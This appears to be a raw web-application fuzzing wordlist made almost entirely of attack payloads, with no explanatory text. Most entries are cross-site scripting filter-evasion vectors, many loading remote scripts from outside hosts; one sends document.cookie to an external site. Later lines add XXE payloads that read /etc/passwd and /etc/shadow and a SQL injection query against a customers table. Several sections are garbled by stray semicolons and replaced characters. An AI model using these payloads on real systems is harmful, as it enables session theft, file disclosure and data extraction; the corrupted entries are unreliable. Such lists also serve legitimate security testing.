a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;1&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);
&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;1&apos;);&lt;/STYLE&gt;
&lt;IMG STYLE=&quot;1:expr/*1*/ession(alert(&apos;1&apos;))&quot;&gt;
&lt;1 STYLE=&quot;1:expression(alert(&apos;1&apos;))&quot;&gt;
&lt;STYLE&gt;.1{background-image:url(&quot;javascript:alert(&apos;1&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=1&gt;&lt;/A&gt;
&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;1&apos;)&quot;)}&lt;/STYLE&gt;
&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/1.css&quot;&gt;
&lt;STYLE&gt;@import&apos;http://ha.ckers.org/1.css&apos;;&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/1.css&gt;; REL=stylesheet&quot;&gt;
&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/1moz.xml#1&quot;)}&lt;/STYLE&gt;
&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;1&apos;)&quot;&gt;&lt;/TABLE&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;1&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;
&lt;HTML xmlns:1&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;1&apos;);&quot;&gt;]]&gt;
&lt;XML ID=&quot;1&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;1&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;XML SRC=&quot;http://ha.ckers.org/1test.xml&quot; ID=I&gt;&lt;/XML&gt;
&lt;!--[if gte IE 4]&gt;               
&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;1&apos;)&lt;/SCRIPT&gt;&quot;&gt;
&lt;1 STYLE=&quot;behavior: url(http://ha.ckers.org/1.htc);&quot;&gt;
&lt;SCRIPT SRC=&quot;http://ha.ckers.org/1.jpg&quot;&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/1.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;
&lt;? echo(&apos;&lt;SCR)&apos;;
&lt;BR SIZE=&quot;&amp;{alert(&apos;1&apos;)}&quot;&gt;
&lt;IMG SRC=JaVaScRiPt:alert(&apos;1&apos;)&gt;
&lt;IMG SRC=javascript:alert(&amp;quot;1&amp;quot;)&gt;
&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;1&apos;&quot;)`&gt;
&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;
&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;
&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;
&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;
&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;1&apos;);+ADw-/SCRIPT+AD4-
\&quot;;alert(&apos;1&apos;);//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("1");&lt;/SCRIPT&gt;
&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;1&quot;)&apos;;&lt;/STYLE&gt;
&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;
perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;1&quot;)>&quot;;&apos;&gt; out
perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;1&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out
&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;SCRIPT/1 SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;1&quot;)&gt;
&lt;SCRIPT SRC=http://ha.ckers.org/1.js
&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;
&lt;IMG SRC=&quot;javascript:alert(&apos;1&apos;)&quot;
&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;
&lt;&lt;SCRIPT&gt;alert(&quot;1&quot;);//&lt;&lt;/SCRIPT&gt;
&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;1&quot;)&lt;/SCRIPT&gt;&quot;&gt;
&lt;SCRIPT&gt;a=/1/
&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/1.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;A HREF=&quot;http://66.102.7.147/&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://1113982867/&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://0102.0146.0007.00000223/&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;h&#x0A;tt&#09;p://6&amp;#09;6.000146.0x7.147/&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;//www.google.com/&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;//google&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://ha.ckers.org@google&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://google.com/&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://www.google.com./&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;1&lt;/A&gt;
&lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;1&lt;/A&gt;
<body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<iframe src="javascript:document.vulnerable=true; <
\";document.vulnerable=true;;//
</title><SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="&{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>1
1script3document.vulnerable=true;1/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
<1 STYLE="1:expression(document.vulnerable=true)">
exp/*<A STYLE='no\1:no1("*//*");1:ex/*1*//*/*/pression(document.vulnerable=true)'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.1{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=1></a>
<style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
<XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
<XML ID="1"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#1" DATAFLD="B" DATAFORMATAS="HTML"></span>
<html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="1<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
<? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">
<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">
<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true;);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true;);">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![<!--]]<script>document.vulnerable=true;//--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
<style>@import'http://www.securitycompass.com/1.css';</style>
<meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/1.css>; REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/1moz.xml#1")}</style>
<OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:1><?import namespace="1" implementation="http://www.securitycompass.com/1.htc"><1:1>1</1:1></html>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/1.js></SCRIPT>'"-->
<div style="binding: url(http://www.securitycompass.com/1.js);"> [Mozilla]
&quot;&gt;&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;1&quot;)&gt;
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
&lt;/br style=a:expression(alert())&gt;
&lt;scrscriptipt&gt;alert(1)&lt;/scrscriptipt&gt;
&lt;br size=\&quot;&amp;{alert(&#039;1&#039;)}\&quot;&gt;
perl -e &#039;print \&quot;&lt;IMG SRC=java\0script:alert(\&quot;1\&quot;)&gt;\&quot;;&#039; &gt; out
perl -e &#039;print \&quot;&lt;SCR\0IPT&gt;alert(\&quot;1\&quot;)&lt;/SCR\0IPT&gt;\&quot;;&#039; &gt; out
<~/1/*-*/STYLE=1:e/**/xpression(alert('1'))>
<~/1/*-*/STYLE=1:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
<~/1 STYLE=1:expression(alert('1'))>
</1/*-*/STYLE=1:e/**/xpression(alert('1'))>
1/*-*/STYLE=1:e/**/xpression(alert('1'))>
1 STYLE=1:e/**/xpression(alert('1'))>
</1 STYLE=1:expression(alert('1'))>
';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//\";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
';';;!--";<;1>;=&;{()}
<;BASE HREF=";javascript:alert(';1';);//";>;
<;BGSOUND SRC=";javascript:alert(';1';);";>;
<;BODY BACKGROUND=";javascript:alert(';1';);";>;
<;BODY ONLOAD=alert(';1';)>;
<;DIV STYLE=";background-image: url(javascript:alert(';1';))";>;
<;DIV STYLE=";background-image: url(&;#1;javascript:alert(';1';))";>;
<;DIV STYLE=";width: expression(alert(';1';));";>;
<;FRAMESET>;<;FRAME SRC=";javascript:alert(';1';);";>;<;/FRAMESET>;
<;IFRAME SRC=";javascript:alert(';1';);";>;<;/IFRAME>;
<;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';1';);";>;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser
exp/*<;1 STYLE=';no\1:no1(";*//*";);
<;STYLE>;li {list-style-image: url(";javascript:alert(&#39;1&#39;)";);}<;/STYLE>;<;UL>;<;LI>;1
<;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';1';);";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';1';);";>;
<;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>;
<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';1';)>;<;/OBJECT>;
<;EMBED SRC=";http://ha.ckers.org/1.swf"; AllowScriptAccess=";always";>;<;/EMBED>;
a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';1';);";)";;&#10;eval(a+b+c+d);
<;STYLE TYPE=";text/javascript";>;alert(';1';);<;/STYLE>;
<;1 STYLE=";1:expression(alert(';1';))";>;
<;STYLE>;.1{background-image:url(";javascript:alert(';1';)";);}<;/STYLE>;<;A CLASS=1>;<;/A>;
<;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';1';)";)}<;/STYLE>;
<;LINK REL=";stylesheet"; HREF=";javascript:alert(';1';);";>;
<;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/1.css";>;
<;STYLE>;@import';http://ha.ckers.org/1.css';;<;/STYLE>;
<;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/1.css>;; REL=stylesheet";>;
<;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/1moz.xml#1";)}<;/STYLE>;
<;TABLE BACKGROUND=";javascript:alert(';1';)";>;<;/TABLE>;
<;TABLE>;<;TD BACKGROUND=";javascript:alert(';1';)";>;<;/TD>;<;/TABLE>;
<;HTML xmlns:1>;
<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(';1';);";>;]]>;
<;XML ID=";1";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';1';)";>;<;/B>;<;/I>;<;/XML>;
<;XML SRC=";http://ha.ckers.org/1test.xml"; ID=I>;<;/XML>;
<;HTML>;<;BODY>;
<;!--[if gte IE 4]>;           
<;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';1';)<;/SCRIPT>;";>;
<;1 STYLE=";behavior: url(http://ha.ckers.org/1.htc);";>;
<;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/1.js>;<;/SCRIPT>;';";-->;
<;? echo(';<;SCR)';;
<;BR SIZE=";&;{alert(';1';)}";>;
<;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>;
<;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';1';);+ADw-/SCRIPT+AD4-
\";;alert(';1';);//
<;/TITLE>;<;SCRIPT>;alert("1");<;/SCRIPT>;
<;STYLE>;@im\port';\ja\vasc\ript:alert(";1";)';;<;/STYLE>;
perl -e ';print ";<;IM SRC=java\0script:alert(";1";)>";;';>; out
perl -e ';print ";&;<;SCR\0IPT>;alert(";1";)<;/SCR\0IPT>;";;'; >; out
<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";1";)>;
<;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
<;<;SCRIPT>;alert(";1";);//<;<;/SCRIPT>;
<;A HREF=";http://66.102.7.147/";>;1<;/A>;
<;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;1<;/A>;
<;A HREF=";http://1113982867/";>;1<;/A>;
<;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;1<;/A>;
<;A HREF=";http://0102.0146.0007.00000223/";>;1<;/A>;
<;A HREF=";h&#x0A;tt&#09;p://6&;#09;6.000146.0x7.147/";>;1<;/A>;
<;A HREF=";//www.google.com/";>;1<;/A>;
<;A HREF=";//google";>;1<;/A>;
<;A HREF=";http://ha.ckers.org@google";>;1<;/A>;
<;A HREF=";http://google:ha.ckers.org";>;1<;/A>;
<;A HREF=";http://google.com/";>;1<;/A>;
<;A HREF=";http://www.google.com./";>;1<;/A>;
<;A HREF=";javascript:document.location=';http://www.google.com/';";>;1<;/A>;
<;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;1<;/A>;
";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";1";)>;
<;/script>;<;script>;alert(1)<;/script>;
<;/br style=a:expression(alert())>;
<;scrscriptipt>;alert(1)<;/scrscriptipt>;
<;br size=\";&;{alert(&#039;1&#039;)}\";>;
perl -e &#039;print \";<;IMG SRC=java\0script:alert(\";1\";)>;\";;&#039; >; out
perl -e &#039;print \";<;SCR\0IPT>;alert(\";1\";)<;/SCR\0IPT>;\";;&#039; >; out
>"><script>alert("1")</script>&
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;1%26%23x20;Test%26%23x20;Successful%26quot;)>
>%22%27><img%20src%3d%22javascript:alert(%27%201%27)%22>
'%uff1cscript%uff1ealert('1')%uff1c/script%uff1e'
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
%3cscript%3ealert('1')%3c/script%3e
%22%3e%3cscript%3ealert('1')%3c/script%3e
<marquee onstart='javascript:alert('1');'>=(?_?)=
<%%%>
>”’
![] + []
?=!?,?=!?,?=!+?,?=?+?
?=?[?[+?]+?[+?+[+?]]+?[?]+?[+?]+?[?]+?]
?=?[?]+?,?=?+?,?=?+?,?=+?,?=+?,?=?[?],?=?+[?]
?=?+?;?=?+?,?=?+?;?=[?]+?[?],?=?[+?]
?=[],?={}
?[?[?]+?[?]+?[?]+?[?]+?+?+?[?]+?[?]+?
?]=[!!?]+!?+?.?)[?+=?+?+?+?+?+?+
?+?+?+?][?](?+?+?+?+?+’(-~?)’)()
/?#&;:=”%<>@[\\]^`{|}
/*-/*`/*\`/*’/*”/**/
‘>//\\,<’>”>”>”*”
‘“(){}[];
”><!?—?
([,?,,,,?]=””+{},[??,??,??,??,,???,???,???,,,???]=[!!?]+!?+?.?)[?+=?+???+???+??+??+??+?+??+?+??][?](???+???+??+
([,?,,,,?]=[]+{},[?,?,?,?,,?,?,?,,,?]=[!!?]+!?+?.?)[?=?+?+?+?+?+?+?+?+?+?+?][?](?+?+?+?+?+’(-~?)’)()
([,?,,,,?]=[]+{},[?,?,?,?,,?,?,?,,,?]=[!!?]+!?+?.?)[?+=?+?+?+?+?+?+?+?+?+?][?](?+?+?+?+?+’(-~?)’)()
([,?,,,,?]=[]+{},[?,?,?,?,,?,?,?,,,
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!’’+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!’’
)[?]+[?]+(?+?)[?])()
+?[?]+?](?[?]+?[?]+?[?]+?+?+(?+?
+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
(!![]+[])[0]
%00%00%00%00%00%00%00<script>alert(11)</script>
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
&#0000060;
&#0000062;
&#0000062
00000`${alert(1)}`
&#000060;
&#000062;
&#000062
%00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
&#00060;
&#00062;
&#00062
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
&#0060;
&#0062;
&#0062
0%0d%0a%00<script src=//h4k.in>
&#00;</form><input type&#61;”date” onfocus=”alert(1)”>
&#00;</form><input type&#61;”date” onfocus=”confirm(1)”>
<[00]script>alert(1)</[00]script>
%00"><script>alert(1)</script>
<%00/title>
0\%22))}catch(e){confirm(2)}//
&#060;
&#062;
&#062
“})}%0A%09%09alert(197);%0A{({“”:”&
%’});%0aalert(1);%20//
%0aalert(1);/><script>///
%0aalert(1);/”><script>///
%0Aonload=”eval(name)”;>
<%0ascript>alert(1);</script>
%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e’; “></svg>
0\”autofocus/onfocus=alert(1) ?<video/poster/ error=prompt(2)>”-confirm(3)-”
0\”autofocus/onfocus=alert(1) ?<video/poster/onerror=prompt(2)>”-confirm(3)-”
<%0bscript>alert(1);</script>
{?????????????????????????????=0;?????????????????????????????()}catch(e){alert(e)}
(0)[‘constructor’][‘constructor’](“\141\154\145\162\164(1)”)();
0..constructor.constructor`alert(1)```
<%0Cscript>alert(1);</script>
//%0D%0A%0d%0a//
;//%0da=eval;b=alert;a(b(10));//
‘;//%0da=eval;b=alert;a(b(9));//
%0da=eval;b=alert;a(b(/d/.source));
<!?—?*/!’*/!>%0D<svg/onload=confirm`1`//?—?
<!?—?*/!’*/!>%0D<svg/onload=confirm`1`//
(0)”></img>
0=”>”<img src=’-alert(1)-’ onerror=”;alert(179);”>
0&q=’;alert(String.fromCharCode(88,83,83))//\’;alert%2?8String.fromCharCode(88,83,83))//”;alert(String.fromCharCode?(88,83,83))//\”;alert(String.fromCharCode(88,83,83)%?29// ?</SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
0?<script>Worker(“#”).onmessage=function(_)eval(_.data)</script> :postMessage(importScripts(‘data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk’))
({$:#0=t,z:eval(String(#0#).replace(/@/g,))}).z//>
\”><0x0001>
[0x00][0x00][0x00][0x00][0x00][0x00][0x00]<script>alert(12)</script>
[0x00][0x00][0x00][0x00][0x00][0x00][0x00]<script>alert(1)</script>
[0x09,0x0B,0x0C,0x20,0x3B]
[[0xc0]u003cimg src=1 onerror=alert(/1/) [0xc0]u003e
[0xc0]u003cimg src=1 onerror=alert(/1/) [0xc0]u003e
( ![] + [] )[1]
(!![]+[])[1] +
(![]+[])[1] +
//[10,13,8232(utf-8),8233(utf-8)]alert(1)//
&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
(!![]+[])[1] + (!![]+[])[0]])(9)
11111';\u006F\u006E\u0065rror=\u0063onfirm; throw’1
(1?(1?{a:1?””[1?”ev\a\l”:0](1?”\a\lert”:0):0}:0).a:0)[1?”\c\a\l\l”:0](content,1?”x\s\s”:0)
{1+1,confirm(8)}
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
